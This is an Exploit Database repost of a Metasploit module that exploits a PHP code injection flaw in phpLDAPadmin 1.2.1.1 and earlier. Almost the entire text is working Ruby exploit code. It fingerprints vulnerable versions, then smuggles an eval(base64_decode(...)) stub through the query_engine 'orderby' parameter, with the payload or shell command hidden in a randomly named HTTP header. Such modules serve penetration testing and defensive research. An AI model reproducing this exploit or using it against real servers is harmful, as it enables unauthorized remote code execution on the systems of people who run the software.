phpLDAPadmin 1.2.1.1 – Remote PHP Code Injection (Metasploit) (2)

• Exploit Database
• 22 阅读

• 作者： Metasploit
  日期： 2011-10-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18031/

• ##
  # $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Payload::Php
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
  			'Description'=> %q{
  					This module exploits a vulnerability in the lib/functions.php that allows
  				attackers input parsed directly to the create_function() php function. A patch was 
  				issued that uses a whitelist regex expression to check the user supplied input
  				before being parsed to the create_function() call.
  			},
  			'Author' =>
  				[ 
  					'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc
  					'mr_me <steventhomasseeley[at]gmail-com>',# msf
  					'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 14060 $',
  			'References' =>
  				[
  					['BID', '50331'],
  					['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
  					['URL', 'http://www.exploit-db.com/exploits/18021/'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 4000,
  					'Keys'=> ['php'],
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Oct 24 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
  				], self.class)
  	end
  
  	def check
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'index.php'
  
  		res = send_request_raw(
  			{
  				'method'=> 'GET',
  				'uri' => uri,
  			}, 3)
  
  		if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def get_session
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'index.php'
  
  		res = send_request_raw(
  			{
  				'method'=> 'GET',
  				'uri' => uri,
  			}, 3)
  
  		if (not res.headers['Set-Cookie'])
  			print_error("Could not generate a valid session")
  			return
  		end
  
  		return res.headers['Set-Cookie']
  	end
  
  	def cleanup
  		# We may not be using php/exe again, so clear the CMD option
  		if datastore['CMD']
  			datastore['CMD'] = nil
  		end
  	end
  
  	def exploit
  		# if we are using the exec CMD stager
  		# important to check which php functions are disabled
  		if datastore['CMD']
  			cmd = Rex::Text.encode_base64(datastore['CMD'])
  			dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  			out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
  			shell = <<-END_OF_PHP_CODE
  			$c = base64_decode("#{cmd}");
  			#{php_preamble({:disabled_varname => dis})}
  			#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
  			echo #{out};
  			END_OF_PHP_CODE
  			p = Rex::Text.encode_base64(Rex::Text.compress(shell))
  		else
  			p = Rex::Text.encode_base64(payload.encoded)
  		end
  
  		# Generate some random strings
  		hidden_header = rand_text_alpha_upper(6)
  		fake_func_name = rand_text_alpha_upper(2)
  
  		# build sttack string
  		php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
  		data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
  		session = get_session
  
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'cmd.php'
  
  		res = send_request_cgi(
  			{
  				'method' => 'POST',
  				'uri' => uri,
  				'data' => data,
  				'headers' =>
  					{
  						"#{hidden_header}" => p,
  						'Cookie' => session,
  						'Connection' => 'Close',
  					},
  				
  			}, 3)
  
  		print_status("%s" % res.body) if datastore['CMD']
  	end
  
  end